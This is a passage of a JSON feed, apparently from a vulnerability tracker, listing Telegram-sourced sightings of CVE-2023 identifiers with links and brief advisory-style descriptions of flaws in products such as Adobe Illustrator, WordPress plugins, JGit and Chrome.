"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47890", "type": "seen", "source": "https://t.me/ctinow/164645", "content": "https://ift.tt/yx0e381\nCVE-2023-47890", "creation_timestamp": "2024-01-08T21:26:51.000000Z"}, {"uuid": "de9d6a54-ffc8-42f5-8742-957afb20d538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47577", "type": "seen", "source": "https://t.me/ctinow/162875", "content": "https://ift.tt/Lq7cld5\nCVE-2023-47577 | Relyum RELY-PCIe/RELY-REC 22.2.1/23.1.0 unverified password change", "creation_timestamp": "2024-01-04T10:11:22.000000Z"}, {"uuid": "768068de-2d4a-476a-b911-f34f2e45d8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47576", "type": "seen", "source": "https://t.me/ctinow/162874", "content": "https://ift.tt/bBfLVFK\nCVE-2023-47576 | Relyum RELY-PCIe/RELY-REC Web Interface command injection", "creation_timestamp": "2024-01-04T10:11:21.000000Z"}, {"uuid": "329b38b9-08ba-4a05-aa5c-d07930411621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47063", "type": "seen", "source": "https://t.me/ctinow/162860", "content": "https://ift.tt/yLtOeol\nCVE-2023-47063 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 out-of-bounds write (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:50.000000Z"}, {"uuid": "0056b0a7-c085-49ce-be64-e3afc3e7868f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47075", "type": "seen", "source": "https://t.me/ctinow/162859", "content": "https://ift.tt/VISlDwX\nCVE-2023-47075 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 use after free (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:49.000000Z"}, {"uuid": "6377482c-4881-405c-a7c3-51c0508d9eeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47996", "type": "seen", "source": "https://t.me/ctinow/165467", "content": "https://ift.tt/LPXMeiF\nCVE-2023-47996", "creation_timestamp": "2024-01-10T00:26:45.000000Z"}, {"uuid": "6a08e7bd-eba7-4eb4-9799-1d331bae451f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47995", "type": "seen", "source": "https://t.me/ctinow/165466", "content": "https://ift.tt/ZEaLMXk\nCVE-2023-47995", "creation_timestamp": "2024-01-10T00:26:44.000000Z"}, {"uuid": "d1af07e9-5cb0-467d-84cc-d6e60c594e8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/165465", "content": "https://ift.tt/H2xd1AR\nCVE-2023-47994", "creation_timestamp": "2024-01-10T00:26:43.000000Z"}, {"uuid": "8bf281ec-e986-4b44-ba8f-868c53f5e2cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47993", "type": "seen", "source": "https://t.me/ctinow/165464", "content": "https://ift.tt/4ckvR0a\nCVE-2023-47993", "creation_timestamp": "2024-01-10T00:26:42.000000Z"}, {"uuid": "a1e2da00-b033-456c-9485-81a3450a0627", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47992", "type": "seen", "source": "https://t.me/ctinow/165463", "content": "https://ift.tt/D0dbF34\nCVE-2023-47992", "creation_timestamp": "2024-01-10T00:26:41.000000Z"}, {"uuid": "71904373-1046-4d47-b493-3a2ce935ce53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47789", "type": "seen", "source": "https://t.me/ctinow/167170", "content": "https://ift.tt/xA0Ckgq\nCVE-2023-47789 | WooCommerce Canada Post Shipping Method Plugin up to 2.8.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:43.000000Z"}, {"uuid": "4bb22c3c-8515-43aa-8569-cf3fa3424b85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47211", "type": "seen", "source": "https://t.me/ctinow/167533", "content": "https://ift.tt/qxcFpTy\nCVE-2023-47211 Exploit", "creation_timestamp": "2024-01-12T21:17:23.000000Z"}, {"uuid": "5dd0a9c2-ddb5-4205-9664-64cd7a47921d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47536", "type": "seen", "source": "https://t.me/ctinow/161831", "content": "https://ift.tt/AweRDtU\nCVE-2023-47536 | Fortinet FotiOS/FortiProxy Geolocalisation Policy access control (FG-IR-23-432)", "creation_timestamp": "2024-01-02T15:36:20.000000Z"}, {"uuid": "9a577aaf-880b-486a-a9e0-83c9f0d43072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/ctinow/165421", "content": "https://ift.tt/9syPI31\nCVE-2023-47882 Exploit", "creation_timestamp": "2024-01-09T23:17:26.000000Z"}, {"uuid": "231a85bb-f9bd-4342-9033-603858249df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/165420", "content": "https://ift.tt/sr0xSk8\nCVE-2023-47883 Exploit", "creation_timestamp": "2024-01-09T23:17:25.000000Z"}, {"uuid": "325d8de8-3b33-49ac-839f-6f4f0b3df40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47754", "type": "seen", "source": "https://t.me/ctinow/167271", "content": "https://ift.tt/gVQNHIe\nCVE-2023-47754 | Clever Plugins Delete Duplicate Posts Plugin up to 4.8.9 on WordPress authorization", "creation_timestamp": "2024-01-12T14:36:51.000000Z"}, {"uuid": "a037cb63-5c38-473e-8863-96c21c2e5331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47106", "type": "seen", "source": "https://t.me/ctinow/158780", "content": "https://ift.tt/107UD9c\nCVE-2023-47106 | Traefik up to 2.10.5/3.0.0-beta4 input validation (GHSA-fvhj-4qfh-q2hm)", "creation_timestamp": "2023-12-23T11:41:47.000000Z"}, {"uuid": "6165e5e1-edfc-41f6-a4da-9fd555333616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47465", "type": "seen", "source": "https://t.me/ctinow/161234", "content": "https://ift.tt/eohFJ2V\nCVE-2023-47465 | GPAC up to 2.2.1 box_code_base.c ctts_box_read denial of service (Issue 2652)", "creation_timestamp": "2024-01-01T08:56:55.000000Z"}, {"uuid": "a081f9b4-33fc-4f1f-b66d-9ee3a1956112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47261", "type": "seen", "source": "https://t.me/ctinow/166403", "content": "https://ift.tt/T7LEG5a\nCVE-2023-47261 | Dokmee ECM 7.4.6 gettingstarted Privilege Escalation", "creation_timestamp": "2024-01-11T09:56:26.000000Z"}, {"uuid": "63614168-61e5-4b4e-8234-66c0ac6bd73d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47870", "type": "seen", "source": "https://t.me/ctinow/157621", "content": "https://ift.tt/jZ0S4wh\nCVE-2023-47870 | gVectors wpForo Forum Plugin up to 2.2.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T11:37:04.000000Z"}, {"uuid": "27850345-a0c3-4451-8c27-b5339ebcf10e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47093", "type": "seen", "source": "https://t.me/ctinow/157441", "content": "https://ift.tt/u40v9qH\nCVE-2023-47093", "creation_timestamp": "2023-12-21T01:23:56.000000Z"}, {"uuid": "89fe8283-be5b-4956-84db-51eb73e67937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47862", "type": "seen", "source": "https://t.me/ctinow/165983", "content": "https://ift.tt/ln5BTZ7\nCVE-2023-47862", "creation_timestamp": "2024-01-10T17:22:22.000000Z"}, {"uuid": "a9f41b14-079e-40fa-b9dc-7fa27c905061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/166197", "content": "https://ift.tt/rv78iFA\nCVE-2023-47473 Exploit", "creation_timestamp": "2024-01-10T23:16:41.000000Z"}, {"uuid": "1a94e5e8-dc03-4ba2-a4a7-eed986c31ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47858", "type": "seen", "source": "https://t.me/ctinow/161682", "content": "https://ift.tt/13riI2Q\nCVE-2023-47858", "creation_timestamp": "2024-01-02T11:26:26.000000Z"}, {"uuid": "08244157-d88e-4096-838f-91d109614067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47861", "type": "seen", "source": "https://t.me/ctinow/165982", "content": "https://ift.tt/lAfaCDh\nCVE-2023-47861", "creation_timestamp": "2024-01-10T17:22:21.000000Z"}, {"uuid": "dac51f9b-92a4-4b9b-9885-c25880484478", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47171", "type": "seen", "source": "https://t.me/ctinow/165981", "content": "https://ift.tt/vl9dPqy\nCVE-2023-47171", "creation_timestamp": "2024-01-10T17:22:19.000000Z"}, {"uuid": "7165f483-b7a3-44dc-b162-33cd50e456e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47619", "type": "seen", "source": "https://t.me/ctinow/165747", "content": "https://ift.tt/LeXtSQd\nCVE-2023-47619 | advplyr audiobookshelf up to 2.4.3 Update server-side request forgery (GHSL-2023-203)", "creation_timestamp": "2024-01-10T12:41:30.000000Z"}, {"uuid": "15620b2d-538f-4b93-9fb2-7583591fdd71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47145", "type": "seen", "source": "https://t.me/ctinow/164141", "content": "https://ift.tt/v0Eem1M\nCVE-2023-47145", "creation_timestamp": "2024-01-07T20:26:35.000000Z"}, {"uuid": "e506b61c-6460-49a6-bcea-af99c16a1344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47840", "type": "seen", "source": "https://t.me/ctinow/160404", "content": "https://ift.tt/fZJ6IOT\nCVE-2023-47840", "creation_timestamp": "2023-12-29T10:26:40.000000Z"}, {"uuid": "67c3b5c5-b41d-4a15-8fc6-fd4ff39bd415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47624", "type": "seen", "source": "https://t.me/ctinow/165761", "content": "https://ift.tt/xAcpZ7P\nCVE-2023-47624 | advplyr audiobookshelf up to 2.4.3 /hls path traversal (GHSL-2023-203)", "creation_timestamp": "2024-01-10T13:07:42.000000Z"}, {"uuid": "bfe708fe-4446-43a0-af7d-1d300b2eff70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47254", "type": "seen", "source": "https://t.me/ctinow/161238", "content": "https://ift.tt/8SQiKzU\nCVE-2023-47254 | DrayTek Vigor167 5.2.2 CLI os command injection (SYSS-2023-023)", "creation_timestamp": "2024-01-01T08:57:02.000000Z"}, {"uuid": "817c32fe-bd5c-4a4b-9bc3-77dfaaee4296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47722", "type": "seen", "source": "https://t.me/ctinow/161224", "content": "https://ift.tt/ZBGaR9m\nCVE-2023-47722 | IBM API Connect 10.0.5.3/10.0.6.0 missing encryption (XFDB-271912)", "creation_timestamp": "2024-01-01T08:26:40.000000Z"}, {"uuid": "fb64020e-e872-40d1-9517-a11a4fb43b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47779", "type": "seen", "source": "https://t.me/ctinow/160904", "content": "https://ift.tt/3eaLI42\nCVE-2023-47779 | CRM Perks Integration for Constant Contact and Contact Form 7 Plugin redirect", "creation_timestamp": "2023-12-30T15:32:06.000000Z"}, {"uuid": "ad5b3c47-8f87-44d6-8071-c7564e22f8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47997", "type": "seen", "source": "https://t.me/ctinow/165486", "content": "https://ift.tt/WXgMndS\nCVE-2023-47997", "creation_timestamp": "2024-01-10T01:26:50.000000Z"}, {"uuid": "705bb840-7b83-4398-8a45-5e0e3279dae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47857", "type": "seen", "source": "https://t.me/ctinow/161607", "content": "https://ift.tt/z62mDKO\nCVE-2023-47857", "creation_timestamp": "2024-01-02T09:26:17.000000Z"}, {"uuid": "a835a243-7003-4d61-8cdd-f290d0685215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/ctinow/161606", "content": "https://ift.tt/oQ3FqN1\nCVE-2023-47216", "creation_timestamp": "2024-01-02T09:26:16.000000Z"}, {"uuid": "5117b8c0-0397-4878-8b6c-69c8c49facbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4759", "type": "seen", "source": "https://t.me/cibsecurity/70260", "content": "\u203c CVE-2023-4759 \u203c\n\nArbitrary File Overwrite in Eclipse JGit <= 6.6.0In Eclipse JGit, all versions <= 6.6.0.202305301015-r, a symbolic link present in a specially crafted git repository can be used to write a file to locations outside the working tree when this repository is cloned with JGit to a case-insensitive filesystem, or when a checkout from a clone of such a repository is performed on a case-insensitive filesystem.This can happen on checkout (DirCacheCheckout), merge (ResolveMerger\u00c2\u00a0via its WorkingTreeUpdater), pull (PullCommand\u00c2\u00a0using merge), and when applying a patch (PatchApplier). This can be exploited for remote code execution (RCE), for instance if the file written outside the working tree is a git filter that gets executed on a subsequent git command.The issue occurs only on case-insensitive filesystems, like the default filesystems on Windows and macOS. The user performing the clone or checkout must have the rights to create symbolic links for the problem to occur, and symbolic links must be enabled in the git configuration.Setting git configuration option core.symlinks = false\u00c2\u00a0before checking out avoids the problem.The issue was fixed in Eclipse JGit version 6.6.1.202309021850-r and 6.7.0.202309050840-r, available via Maven Central https://repo1.maven.org/maven2/org/eclipse/jgit/ \u00c2\u00a0and repo.eclipse.org https://repo.eclipse.org/content/repositories/jgit-releases/ .The JGit maintainers would like to thank RyotaK for finding and reporting this issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-12T14:22:54.000000Z"}, {"uuid": "9c2e4b4d-b6ca-4cfb-adb8-360db32d0969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47215", "type": "seen", "source": "https://t.me/ctinow/159285", "content": "https://ift.tt/4mRuV6K\nCVE-2023-47215", "creation_timestamp": "2023-12-26T09:26:54.000000Z"}, {"uuid": "fdcd8c08-3c84-45fa-b330-9b4e134381b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/ctinow/161088", "content": "https://ift.tt/iyWCzfo\nCVE-2023-47565 | QNAP VioStor NVR 4.x os command injection (qsa-23-48)", "creation_timestamp": "2023-12-31T14:11:20.000000Z"}, {"uuid": "478018b2-ef8f-4ee3-b3ed-5a861317947f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47440", "type": "seen", "source": "https://t.me/ctinow/161008", "content": "https://ift.tt/THR03sU\nCVE-2023-47440 | Gladys Assistant up to 4.27.0 Incomplete Fix CVE-2023-43256 path traversal", "creation_timestamp": "2023-12-31T08:46:53.000000Z"}, {"uuid": "d926ad4d-7d21-4af0-90a5-e08550e594c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47453", "type": "seen", "source": "https://t.me/ctinow/157740", "content": "https://ift.tt/UGK6aLF\nCVE-2023-47453 | Sohu Video Player 7.0.15.0 version.dll untrusted search path", "creation_timestamp": "2023-12-21T15:11:41.000000Z"}, {"uuid": "3b32ff20-167f-46c5-8368-4ae23c342828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47844", "type": "seen", "source": "https://t.me/ctinow/157623", "content": "https://ift.tt/3Uf5oRQ\nCVE-2023-47844 | Lim Kai Yang Grab & Save Plugin up to 1.0.4 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:37:06.000000Z"}, {"uuid": "ea14b70d-ecbe-4055-bf25-73ae25fa7702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47548", "type": "seen", "source": "https://t.me/ctinow/160906", "content": "https://ift.tt/CUZPGiS\nCVE-2023-47548 | SoftLab Integrate Google Drive Plugin up to 1.3.2 on WordPress redirect", "creation_timestamp": "2023-12-30T15:32:08.000000Z"}, {"uuid": "68718a00-204e-4dcb-b066-b3a0095dece9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4777", "type": "seen", "source": "https://t.me/cibsecurity/70138", "content": "\u203c CVE-2023-4777 \u203c\n\nAn incorrect permission check in Qualys Container Scanning Connector Plugin 1.6.2.6 and earlier allows attackers with global Item/Configure permission (while lacking Item/Configure permission on any particular job) to enumerate credentials IDs of credentials stored in Jenkins and to connect to an attacker-specified URL using attacker-specified credentials IDs, capturing credentials stored in Jenkins.\u00c2\u00a0\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-08T12:19:25.000000Z"}, {"uuid": "3519cf40-0e89-4be7-bfa3-458aa6afecee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47883", "type": "seen", "source": "https://t.me/ctinow/159799", "content": "https://ift.tt/AJi974V\nCVE-2023-47883", "creation_timestamp": "2023-12-27T22:26:23.000000Z"}, {"uuid": "63c3426f-cf87-4b23-b268-15cc519aed09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/ctinow/159798", "content": "https://ift.tt/6KLnqrb\nCVE-2023-47882", "creation_timestamp": "2023-12-27T22:26:22.000000Z"}, {"uuid": "c0af7445-474a-44a2-9a50-8b331f1c344d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4778", "type": "seen", "source": "https://t.me/cibsecurity/69868", "content": "\u203c CVE-2023-4778 \u203c\n\nOut-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-05T20:17:16.000000Z"}, {"uuid": "e6b580f3-0edb-4c16-9d83-330da5158642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47804", "type": "seen", "source": "https://t.me/ctinow/160569", "content": "https://ift.tt/V9HNcqr\nCVE-2023-47804", "creation_timestamp": "2023-12-29T16:26:35.000000Z"}, {"uuid": "751f9d49-583a-4f3f-aafb-35313eb30ac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47265", "type": "seen", "source": "https://t.me/ctinow/157611", "content": "https://ift.tt/w47DbkJ\nCVE-2023-47265", "creation_timestamp": "2023-12-21T11:22:19.000000Z"}, {"uuid": "259f4964-9be8-46f5-926e-09b55e34c7d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47877", "type": "seen", "source": "https://t.me/ctinow/157605", "content": "https://ift.tt/CrORd1s\nCVE-2023-47877 | Perfmatters Plugin up to 2.1.x on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:08:01.000000Z"}, {"uuid": "d526be48-3eb2-485c-b7c5-3596a726ca8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47062", "type": "seen", "source": "https://t.me/ctinow/164038", "content": "https://ift.tt/NGuEcjs\nCVE-2023-47062 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T02:06:16.000000Z"}, {"uuid": "30f577d5-ec86-4d20-83f7-4a8f8922dbaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47061", "type": "seen", "source": "https://t.me/ctinow/164037", "content": "https://ift.tt/3EqZFBx\nCVE-2023-47061 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T02:06:15.000000Z"}, {"uuid": "1d9733c4-fab6-4fb0-8efb-0e429b5c5005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47079", "type": "seen", "source": "https://t.me/ctinow/164035", "content": "https://ift.tt/m1CiFcu\nCVE-2023-47079 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T01:36:23.000000Z"}, {"uuid": "103320df-f54b-4f4e-9218-8cafdd28b68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47078", "type": "seen", "source": "https://t.me/ctinow/164034", "content": "https://ift.tt/zEwL5hW\nCVE-2023-47078 | Adobe Dimension up to 3.4.10 out-of-bounds (apsb23-71)", "creation_timestamp": "2024-01-07T01:36:22.000000Z"}, {"uuid": "b5fb4f25-4243-4538-bace-588d44d58079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/159816", "content": "https://ift.tt/MsAcNYu\nCVE-2023-47990 Exploit", "creation_timestamp": "2023-12-27T23:17:12.000000Z"}, {"uuid": "6b5127cf-3519-4283-8827-18cb14d000fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47100", "type": "seen", "source": "https://t.me/ctinow/158266", "content": "https://ift.tt/D4JrRaQ\nCVE-2023-47100 | Perl up to 5.38.1 Regular Expression regcomp.c S_parse_uniprop_string memory corruption", "creation_timestamp": "2023-12-22T09:22:19.000000Z"}, {"uuid": "a83c6e93-626b-4ed4-a933-8c2be920938c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47701", "type": "seen", "source": "https://t.me/ctinow/158730", "content": "https://ift.tt/Gi6KbP1\nCVE-2023-47701 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 Query denial of service (XFDB-266166)", "creation_timestamp": "2023-12-23T08:38:45.000000Z"}, {"uuid": "a1db278e-3f23-4b7f-90bc-d59e85c7c502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47247", "type": "seen", "source": "https://t.me/ctinow/159164", "content": "https://ift.tt/xXVpAJb\nCVE-2023-47247", "creation_timestamp": "2023-12-25T08:26:29.000000Z"}, {"uuid": "71d3fb72-ffd3-49f5-bdfd-36a2b9087b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47091", "type": "seen", "source": "https://t.me/ctinow/159163", "content": "https://ift.tt/TOImJat\nCVE-2023-47091", "creation_timestamp": "2023-12-25T08:26:28.000000Z"}, {"uuid": "20634083-f8fe-475f-9857-d07d3010d93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4763", "type": "seen", "source": "https://t.me/cibsecurity/69919", "content": "\u203c CVE-2023-4763 \u203c\n\nUse after free in Networks in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:26.000000Z"}, {"uuid": "876da91a-8128-4edf-b491-e1deadfeb220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/cibsecurity/69917", "content": "\u203c CVE-2023-4761 \u203c\n\nOut of bounds memory access in FedCM in Google Chrome prior to 116.0.5845.179 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:24.000000Z"}, {"uuid": "97f3c245-1452-448d-90c3-21d9c297e417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/cibsecurity/69915", "content": "\u203c CVE-2023-4762 \u203c\n\nType Confusion in V8 in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: 